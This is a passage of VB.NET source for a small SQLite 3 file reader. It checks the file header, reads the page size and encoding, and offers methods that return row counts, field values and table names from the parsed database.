    ' Returns the row count of current table
    Public Function GetRowCount() As Integer
        Return table_entries.Length
    End Function

    ' Returns a Value from current table in row row_num with field number field
    Public Function GetValue(ByVal row_num As Integer, ByVal field As Integer) As String
        If row_num >= table_entries.Length Then Return Nothing
        If field >= table_entries(row_num).content.Length Then Return Nothing

        Return table_entries(row_num).content(field)
    End Function

    ' Returns a Value from current table in row row_num with field name field
    Public Function GetValue(ByVal row_num As Integer, ByVal field As String) As String
        Dim found As Integer = -1

        For i = 0 To field_names.Length Step 1
            If field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
                found = i
                Exit For
            End If
        Next

        If found = -1 Then Return Nothing

        Return GetValue(row_num, found)
    End Function

    ' Returns a String-Array with all Tablenames
    Public Function GetTableNames() As String()
        Dim retVal As String()
        Dim arr = 0

        For i = 0 To master_table_entries.Length - 1 Step 1
            If master_table_entries(i).item_type = "table" Then
                ReDim Preserve retVal(arr)
                retVal(arr) = master_table_entries(i).item_name
                arr = arr + 1
            End If
        Next

        Return retVal
    End Function

    ' Constructor
    Public Sub New(ByVal baseName As String)
        'Page Number n is page_size*(n-1)
        If File.Exists(baseName) Then
            FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
            Dim asi As String = Space(LOF(1))
            FileGet(1, asi)
            FileClose(1)

            db_bytes = System.Text.Encoding.Default.GetBytes(asi)

            If System.Text.Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") <> 0 Then
                Throw New Exception("Not a valid SQLite 3 Database File")
                End
            End If

            If db_bytes(52) <> 0 Then
                Throw New Exception("Auto-vacuum capable database is not supported")
                End
            ElseIf ConvertToInteger(44, 4) >= 4 Then

            End If

            page_size = ConvertToInteger(16, 2)
            encoding = ConvertToInteger(56, 4)

            If encoding = 0 Then encoding = 1

            'Now we read the sqlite_master table
            'Offset is 100 in first page
            ReadMasterTable(100)
        End If
    End Sub
End Class